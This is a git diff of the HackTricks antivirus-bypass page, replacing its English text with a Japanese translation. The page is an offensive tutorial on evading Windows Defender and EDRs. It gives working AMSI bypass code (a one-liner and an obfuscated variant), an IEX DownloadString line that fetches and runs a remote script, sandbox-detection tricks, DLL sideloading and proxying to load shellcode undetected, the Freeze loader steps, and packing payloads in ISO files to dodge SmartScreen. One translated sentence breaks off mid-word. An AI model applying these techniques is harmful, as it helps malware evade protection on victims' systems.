HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください**。 +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 diff --git a/windows-hardening/av-bypass.md b/windows-hardening/av-bypass.md index 8c250dccf..76796936a 100644 --- a/windows-hardening/av-bypass.md +++ b/windows-hardening/av-bypass.md @@ -1,107 +1,100 @@ -# Antivirus (AV) Bypass +# アンチウイルス(AV)バイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**This page was written by** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**!** +**このページは** [**@m2rc\_p**](https://twitter.com/m2rc\_p)**によって書かれました!** -## **AV Evasion Methodology** +## **AV回避の方法論** -Currently, AVs use different methods for checking if a file is malicious or not, static detection, dynamic analysis, and for the more advanced EDRs, behavioural analysis. +現在、AVはファイルが悪意のあるものかどうかをチェックするために、静的検出、動的解析、さらに高度なEDRでは行動分析といった異なる方法を使用しています。 -### **Static detection** +### **静的検出** -Static detection is achieved by flagging known malicious strings or arrays of bytes in a binary or script, and also extracting information from the file itself (e.g. file description, company name, digital signatures, icon, checksum, etc.). This means that using known public tools may get you caught more easily, as they've probably been analyzed and flagged as malicious. There are a couple of ways of getting around this sort of detection: +静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列をフラグ付けすることで達成されます。また、ファイル自体から情報を抽出することもあります(ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、それらが分析されて悪意のあるものとしてフラグ付けされている可能性があるため、より簡単に検出される可能性があります。この種の検出を回避するためのいくつかの方法があります。 -* **Encryption** +* **暗号化** -If you encrypt the binary, there will be no way for AV of detecting your program, but you will need some sort of loader to decrypt and run the program in memory. +バイナリを暗号化すると、AVがプログラムを検出する方法はありませんが、プログラムをメモリに復号化して実行するためのローダーが必要です。 -* **Obfuscation** +* **曖昧化** -Sometimes all you need to do is change some strings in your binary or script to get it past AV, but this can be a time-consuming task depending on what you're trying to obfuscate. +AVを回避するためには、バイナリやスクリプト内の一部の文字列を変更するだけで十分な場合がありますが、曖昧化する内容によっては時間がかかる場合があります。 -* **Custom tooling** +* **カスタムツール** -If you develop your own tools, there will be no known bad signatures, but this takes a lot of time and effort. +独自のツールを開発すると、既知の悪い署名は存在しないため、ただし、時間と労力がかかります。 {% hint style="info" %} -A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary. +Windows Defenderの静的検出に対してチェックするための良い方法は、[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは、ファイルを複数のセグメントに分割し、それぞれをDefenderにスキャンさせることで、バイナリ内のフラグ付けされた文字列やバイトを正確に特定できます。 {% endhint %} -I highly recommend you check out this [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) about practical AV Evasion. +実践的なAV回避についての[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)をぜひご覧ください。 -### **Dynamic analysis** +### **動的解析** -Dynamic analysis is when the AV runs your binary in a sandbox and watches for malicious activity (e.g. trying to decrypt and read your browser's passwords, performing a minidump on LSASS, etc.). This part can be a bit trickier to work with, but here are some things you can do to evade sandboxes. +動的解析は、AVがバイナリをサンドボックスで実行し、悪意のある活動(ブラウザのパスワードの復号化や読み取り、LSASSのミニダンプの実行など)を監視することです。これは少し複雑な作業になる場合がありますが、サンドボックスを回避するために次のことができます。 -* **Sleep before execution** Depending on how it's implemented, it can be a great way of bypassing AV's dynamic analysis. AV's have a very short time to scan files to not interrupt the user's workflow, so using long sleeps can disturb the analysis of binaries. The problem is that many AV's sandboxes can just skip the sleep depending on how it's implemented. -* **Checking machine's resources** Usually Sandboxes have very little resources to work with (e.g. < 2GB RAM), otherwise they could slow down the user's machine. You can also get very creative here, for example by checking the CPU's temperature or even the fan speeds, not everything will be implemented in the sandbox. -* **Machine-specific checks** If you want to target a user who's workstation is joined to the "contoso.local" domain, you can do a check on the computer's domain to see if it matches the one you've specified, if it doesn't, you can make your program exit. +* **実行前のスリープ** 実装方法によっては、AVの動的解析を回避する素晴らしい方法になる場合があります。AVはファイルをスキャンするための非常に短い時間しか持っていないため、長いスリープを使用するとバイナリの解析が妨げられる可能性があります。ただし、多くのAVのサンドボックスは、実装方法によってはスリープをスキップすることができます。 -It turns out that Microsoft Defender's Sandbox computername is HAL9TH, so, you can check for the computer name in your malware before detonation, if the name matches HAL9TH, it means you're inside defender's sandbox, so you can make your program exit. +* **マシンのリソースのチェック** 通常、サンドボックスは非常に少ないリソースしか使用できません(例:2GB未満のRAM)。また、CPUの温度やファンの回転数をチェックするなど、非常にクリエイティブになることもできます。すべてがサンドボックスに実装されているわけではありません。 -

source: https://youtu.be/StSLxFbVz0M?t=1439

+* **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして指定したドメインと一致するかどうかを確認し、一致しない場合はプログラムを終了させることができます。 -Some other really good tips from [@mgeeky](https://twitter.com/mariuszbit) for going against Sandboxes +実際には、Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THです。したがって、マルウェアを爆発させる前にコンピュータ名をチェックし、名前がHAL9THと一致する場合は、Defenderのサンドボックス内にいることを意味しますので、プログラムを終了させることができます。 + +

出典: https://youtu.be/StSLxFbVz0M?t=1439

+ +サンドボックスに対して[@mgeeky](https://twitter.com/mariuszbit)からの他の素晴らしいヒント

Red Team VX Discord #malware-dev channel

-As we've said before in this post, **public tools** will eventually **get detected**, so, you should ask yourself something: - -For example, if you want to dump LSASS, **do you really need to use mimikatz**? Or could you use a different project which is lesser known and also dumps LSASS. - -The right answer is probably the latter. Taking mimikatz as an example, it's probably one of, if not the most flagged piece of malware by AVs and EDRs, while the project itself is super cool, it's also a nightmare to work with it to get around AVs, so just look for alternatives for what you're trying to achieve. - -{% hint style="info" %} -When modifying your payloads for evasion, make sure to **turn off automatic sample submission** in defender, and please, seriously, **DO NOT UPLOAD TO VIRUSTOTAL** if your goal is achieving evasion in the long run. If you want to check if your payload gets detected by a particular AV, install it on a VM, try to turn off the automatic sample submission, and test it there until you're satisfied with the result. -{% endhint %} +この投稿で以前に述べたように、**公開ツール**は最終的に**検出されます**ので、次のことを考える必要があります。 +たとえば、LSASSをダンプする場合、**本当にmim ## EXEs vs DLLs -Whenever it's possible, always **prioritize using DLLs for evasion**, in my experience, DLL files are usually **way less detected** and analyzed, so it's a very simple trick to use in order to avoid detection in some cases (if your payload has some way of running as a DLL of course). +いつでも可能な限り、回避のために**DLLの使用を優先**してください。私の経験では、DLLファイルは通常**検出されにくく分析されにくい**ため、いくつかのケースで検出を回避するための非常にシンプルなトリックです(もちろん、ペイロードがDLLとして実行される方法がある場合に限ります)。 -As we can see in this image, a DLL Payload from Havoc has a detection rate of 4/26 in antiscan.me, while the EXE payload has a 7/26 detection rate. +この画像では、HavocのDLLペイロードの検出率がantiscan.meで4/26であるのに対し、EXEペイロードの検出率は7/26です。 -

antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL

+

antiscan.meにおける通常のHavoc EXEペイロードと通常のHavoc DLLの比較

-Now we'll show some tricks you can use with DLL files to be much more stealthier. +次に、DLLファイルをよりステルス性の高いものにするためのいくつかのトリックを紹介します。 ## DLL Sideloading & Proxying -**DLL Sideloading** takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. +**DLL Sideloading**は、ローダーが使用するDLLの検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを隣り合わせに配置することで利用します。 -You can check for programs susceptible to DLL Sideloading using [Siofra](https://github.com/Cybereason/siofra) and the following powershell script: +[Siofra](https://github.com/Cybereason/siofra)と以下のPowerShellスクリプトを使用して、DLL Sideloadingの対象となるプログラムを確認できます。 {% code overflow="wrap" %} ```powershell Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object { - $binarytoCheck = "C:\Program Files\" + $_ - C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck +$binarytoCheck = "C:\Program Files\" + $_ +C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck } ``` -{% endcode %} +このコマンドは、「C:\Program Files\\」内のDLLハイジャックの影響を受ける可能性のあるプログラムのリストと、それらが読み込もうとするDLLファイルを出力します。 -This command will output the list of programs susceptible to DLL hijacking inside "C:\Program Files\\" and the DLL files they try to load. +私は、**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。このテクニックは、適切に行われればかなりステルス性がありますが、公に知られているDLLサイドロード可能なプログラムを使用すると、簡単に発見される可能性があります。 -I highly recommend you **explore DLL Hijackable/Sideloadable programs yourself**, this technique is pretty stealthy done properly, but if you use publicly known DLL Sideloadable programs, you may get caught easily. +プログラムが読み込むことを期待しているDLLの名前を持つ悪意のあるDLLを配置するだけでは、ペイロードが読み込まれません。なぜなら、プログラムはそのDLL内の特定の関数を期待しているからです。この問題を解決するために、別のテクニックである**DLLプロキシング/フォワーディング**を使用します。 -Just by placing a malicious DLL with the name a program expects to load, won't load your payload, as the program expects some specific functions inside that DLL, to fix this issue, we'll use another technique called **DLL Proxying/Forwarding**. +**DLLプロキシング**は、プログラムがプロキシ(および悪意のある)DLLからオリジナルのDLLに行う呼び出しを転送し、プログラムの機能を保持しながらペイロードの実行を処理することができます。 -**DLL Proxying** forwards the calls a program makes from the proxy (and malicious) DLL to the original DLL, thus preserving the program's functionality and being able to handle the execution of your payload. +私は、[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。 -I will be using the [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) project from [@flangvik](https://twitter.com/Flangvik/) - -These are the steps I followed: +以下は私が実行した手順です: {% code overflow="wrap" %} ``` @@ -112,7 +105,7 @@ These are the steps I followed: ``` {% endcode %} -The last command will give us 2 files: a DLL source code template, and the original renamed DLL. +最後のコマンドは、2つのファイルを提供します:DLLのソースコードテンプレートと、元の名前が変更されたDLL。
@@ -122,272 +115,273 @@ The last command will give us 2 files: a DLL source code template, and the origi ``` {% endcode %} -These are the results: +以下は結果です:
-Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success. +私たちのシェルコード([SGN](https://github.com/EgeBalci/sgn)でエンコードされています)とプロキシDLLの両方が、[antiscan.me](https://antiscan.me)で0/26の検出率を持っています!これは成功と言えるでしょう。
{% hint style="info" %} -I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG\_WNpE) to learn more about what we've discussed more in-depth. +DLL Sideloadingについては、[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)と[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG\_WNpE)を見ることを**強くお勧めします**。これにより、私たちがより詳しく議論した内容を学ぶことができます。 {% endhint %} ## [**Freeze**](https://github.com/optiv/Freeze) -`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods` - -You can use Freeze to load and execute your shellcode in a stealthy manner. +`Freezeは、中断されたプロセス、直接のシスコール、および代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです` +Freezeを使用すると、ステルス性のある方法でシェルコードをロードして実行することができます。 ``` Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go) 1. Generate some shellcode, in this case I used Havoc C2. 2. ./Freeze -I demon.bin -encrypt -O demon.exe 3. Profit, no alerts from defender ``` -
{% hint style="info" %} -Evasion is just a cat & mouse game, what works today could be detected tomorrow, so never rely on only one tool, if possible, try chaining multiple evasion techniques. +回避はただの猫とネズミのゲームであり、今日うまくいっても明日は検出される可能性があるため、1つのツールに頼ることはありません。可能な限り、複数の回避技術を組み合わせて試してみてください。 {% endhint %} -## AMSI (Anti-Malware Scan Interface) +## AMSI(Anti-Malware Scan Interface) -AMSI was created to prevent "[fileless malware](https://en.wikipedia.org/wiki/Fileless\_malware)". Initially, AVs were only capable of scanning **files on disk**, so if you could somehow execute payloads **directly in-memory**, the AV couldn't do anything to prevent it, as it didn't have enough visibility. +AMSIは、"[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless\_malware)"を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンすることができました。したがって、何らかの方法でペイロードを**直接メモリ上で実行**できれば、AVはそれを防ぐ手段を持っていませんでした。 -The AMSI feature is integrated into these components of Windows. +AMSI機能は、Windowsのこれらのコンポーネントに統合されています。 -* User Account Control, or UAC (elevation of EXE, COM, MSI, or ActiveX installation) -* PowerShell (scripts, interactive use, and dynamic code evaluation) -* Windows Script Host (wscript.exe and cscript.exe) -* JavaScript and VBScript -* Office VBA macros +- ユーザーアカウント制御(EXE、COM、MSI、またはActiveXの昇格) +- PowerShell(スクリプト、インタラクティブ使用、および動的コード評価) +- Windowsスクリプトホスト(wscript.exeおよびcscript.exe) +- JavaScriptおよびVBScript +- Office VBAマクロ -It allows antivirus solutions to inspect script behavior by exposing script contents in a form that is both unencrypted and unobfuscated. +これにより、アンチウイルスソリューションは、スクリプトの動作を検査するために、スクリプトの内容を暗号化されずに非難読可能な形式で公開できます。 -Running `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` will produce the following alert on Windows Defender. +`IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')`を実行すると、Windows Defenderで次のアラートが表示されます。
-Notice how it prepends `amsi:` and then the path to the executable from which the script ran, in this case, powershell.exe +注意してください。スクリプトが実行された実行可能ファイルのパス(この場合はpowershell.exe)の前に`amsi:`が付加されています。 -We didn't drop any file to disk, but still got caught in-memory because of AMSI. +ディスクにファイルをドロップしていないにもかかわらず、AMSIのためにメモリ上で検出されました。 -There are a couple of ways to get around AMSI: +AMSIを回避する方法はいくつかあります。 -* **Obfuscation** +* **難読化** -Since AMSI mainly works with static detections, therefore, modifying the scripts you try to load can be a good way for evading detection. +AMSIは主に静的検出で動作するため、読み込もうとするスクリプトを変更することは検出を回避する良い方法です。 -However, AMSI has the capability of unobfuscating scripts even if it has multiple layers, so obfuscation could be a bad option depending on how it's done. This makes it not-so-straightforward to evade. Although, sometimes, all you need to do is change a couple of variable names and you'll be good, so it depends on how much something has been flagged. +ただし、AMSIは複数のレイヤーを持つスクリプトの難読化を解除する能力を持っているため、難読化は行われている方法によっては適切なオプションではありません。これにより、回避が直接的ではなくなります。ただし、変数名をいくつか変更するだけで十分な場合もありますので、フラグが立てられたものによって異なります。 -* **AMSI Bypass** +* **AMSIバイパス** -Since AMSI is implemented by loading a DLL into the powershell (also cscript.exe, wscript.exe, etc.) process, it's possible to tamper with it easily even running as an unprivileged user. Due to this flaw in the implementation of AMSI, researchers have found multiple ways to evade AMSI scanning. +AMSIは、powershell(またはcscript.exe、wscript.exeなど)プロセスにDLLをロードすることで実装されているため、特権のないユーザーとして実行していても簡単に操作することができます。AMSIの実装上のこの欠陥により、研究者はAMSIスキャンを回避するための複数の方法を見つけました。 -**Forcing an Error** - -Forcing the AMSI initialization to fail (amsiInitFailed) will result that no scan will be initiated for the current process. Originally this was disclosed by [Matt Graeber](https://twitter.com/mattifestation) and Microsoft has developed a signature to prevent wider usage. +**エラーの強制** +AMSIの初期化を失敗させる(amsiInitFailed)ことにより、現在のプロセスに対してスキャンが開始されないようにすることができます。これはもともと[マット・グレイバー](https://twitter.com/mattifestation)によって開示され、Microsoftは広範な使用を防ぐためのシグネチャを開発しました。 ```powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) ``` +現在のPowerShellプロセスでAMSIを使用できなくするために、わずかなPowerShellコードの1行が必要でした。もちろん、この行はAMSI自体によってフラグが立てられているため、このテクニックを使用するためにはいくつかの修正が必要です。 -All it took was one line of powershell code to render AMSI unusable for the current powershell process. This line has of course been flagged by AMSI itself, so some modification is needed in order to use this technique. - -Here is a modified AMSI bypass I took from this [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db). - +以下は、この[GitHub Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)から取得した修正されたAMSIバイパスです。 ```powershell Try{#Ams1 bypass technic nº 2 - $Xdatabase = 'Utils';$Homedrive = 'si' - $ComponentDeviceId = "N`onP" + "ubl`ic" -join '' - $DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join '' - $fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300 - $CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e') - $Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e') - $SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase)) - $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") - $Spotfix.SetValue($null,$true) - }Catch{Throw $_} +$Xdatabase = 'Utils';$Homedrive = 'si' +$ComponentDeviceId = "N`onP" + "ubl`ic" -join '' +$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join '' +$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300 +$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e') +$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e') +$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase)) +$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static") +$Spotfix.SetValue($null,$true) +}Catch{Throw $_} ``` +**メモリパッチング** -Keep in mind, that this will probably get flagged once this post comes out, so you should not publish any code if your plan is staying undetected. - -**Memory Patching** - -This technique was initially discovered by [@RastaMouse](https://twitter.com/\_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E\_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result. +この技術は、最初に[@RastaMouse](https://twitter.com/_RastaMouse/)によって発見され、amsi.dll内の"AmsiScanBuffer"関数のアドレスを見つけ、それをE_INVALIDARGのコードを返すように上書きすることで、実際のスキャン結果が0として解釈されるようにするものです。 {% hint style="info" %} -Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) for a more detailed explanation. +詳しい説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)を参照してください。 {% endhint %} -There are also many other techniques used to bypass AMSI with powershell, check out [**this page**](basic-powershell-for-pentesters/#amsi-bypass) and [this repo](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) to learn more about them. +また、PowerShellでAMSIをバイパスするために使用される他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)と[このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)を参照してください。 -## Obfuscation +## オブフスケーション -There are several tools that can be used to **obfuscate C# clear-text code**, generate **metaprogramming templates** to compile binaries or **obfuscate compiled binaries** such as: +C#のクリアテキストコードを**オブフスケート**するために使用できるいくつかのツールや、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリをオブフスケート**するためのツールがあります。 -* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** -* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): The aim of this project is to provide an open-source fork of the [LLVM](http://www.llvm.org/) compilation suite able to provide increased software security through [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) and tamper-proofing. -* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demonstates how to use `C++11/14` language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler. -* [**obfy**](https://github.com/fritzone/obfy): Add a layer of obfuscated operations generated by the C++ template metaprogramming framework which will make the life of the person wanting to crack the application a little bit harder. -* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz is a x64 binary obfuscator that is able to obfuscate various different pe files including: .exe, .dll, .sys -* [**metame**](https://github.com/a0rtega/metame): Metame is a simple metamorphic code engine for arbitrary executables. -* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator is a fine-grained code obfuscation framework for LLVM-supported languages using ROP (return-oriented programming). ROPfuscator obfuscates a program at the assembly code level by transforming regular instructions into ROP chains, thwarting our natural conception of normal control flow. -* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim -* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them +* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C#オブフスケーター** +* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コードのオブフスケーション](http://en.wikipedia.org/wiki/Obfuscation_(software))と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 +* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、外部ツールを使用せずに、コンパイル時に`C++11/14`言語を使用してオブフスケートされたコードを生成する方法を示しています。 +* [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成されたオブフスケートされた操作のレイヤーを追加し、アプリケーションをクラックしようとする人の生活を少し難しくします。 +* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなど、さまざまな異なるPEファイルをオブフスケートすることができるx64バイナリオブフスケーターです。 +* [**metame**](https://github.com/a0rtega/metame): Metameは、任意の実行可能ファイルのためのシンプルな変形コードエンジンです。 +* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscatorは、ROP(return-oriented programming)を使用してLLVMサポートされた言語のための細かい粒度のコードオブフスケーションフレームワークです。ROPfuscatorは、通常の制御フローの自然な概念を妨げるため、通常の命令をROPチェーンに変換することで、アセンブリコードレベルでプログラムをオブフスケートします。 +* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcryptは、Nimで書かれた.NET PE Crypterです。 +* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptorは、既存のEXE/DLLをシェルコードに変換し、それをロードすることができます。 -## SmartScreen & MoTW +## SmartScreenとMoTW -You may have seen this screen when downloading some executables from the internet and executing them. +インターネットから実行可能ファイルをダウンロードして実行する際に、この画面を見たことがあるかもしれません。 -Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications. +Microsoft Defender SmartScreenは、潜在的に悪意のあるアプリケーションの実行を防ぐためのセキュリティメカニズムです。
-SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). +SmartScreenは主に評判ベースのアプローチで動作し、一般的にダウンロードされないアプリケーションはSmartScreenをトリガーし、エンドユーザーにファイルの実行を警告して防止します(ただし、詳細情報-> とクリックして実行を続けることもできます)。 -**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. +**MoTW**(Mark of The Web)は、インターネットからファイルをダウンロードすると自動的に作成されるZone.Identifierという名前の[NTFSの代替データストリーム](https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS))です。 -

Checking the Zone.Identifier ADS for a file downloaded from the internet.

+

インターネットからダウンロードしたファイルのZone.Identifier ADSをチェックします。

{% hint style="info" %} -It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. +重要なことは、**信頼された**署名証明書で署名された実行可能ファイルは、SmartScreenをトリガーしないということです。 {% endhint %} -A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes. +Mark of The Webを回避するために、ペイロードをISOなどのコンテナにパッケージ化する方法が非常に効果的です。これは、Mark-of-the-Web(MOTW)が**非NTFS**ボリュームには適用できないためです。
-[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. - -Example usage: +[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/)は、Mark-of-the-Webを回避するためにペイロードを出力コンテナにパッケージ化するツールです。 +使用例: ```powershell PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso + o + o + o + o - + o + + o + + - o + + + o + + o ++ o + + o + + +o + + + o + + o -_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o - :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ - for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + +:: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ +for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + -_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' + o o + o + o o + o + o + o ~ Mariusz Banach / mgeeky o o ~ + ~ - o + o + + +o + o + + [.] Packaging input file to output .iso (iso)... Burning file onto ISO: - Adding file: /TotallyLegitApp.exe +Adding file: /TotallyLegitApp.exe [+] Generated file written to (size: 3420160): container.iso ``` - -Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) +以下は、[PackMyPayload](https://github.com/mgeeky/PackMyPayload/)を使用してISOファイル内にペイロードをパッケージ化してSmartScreenをバイパスするデモです。
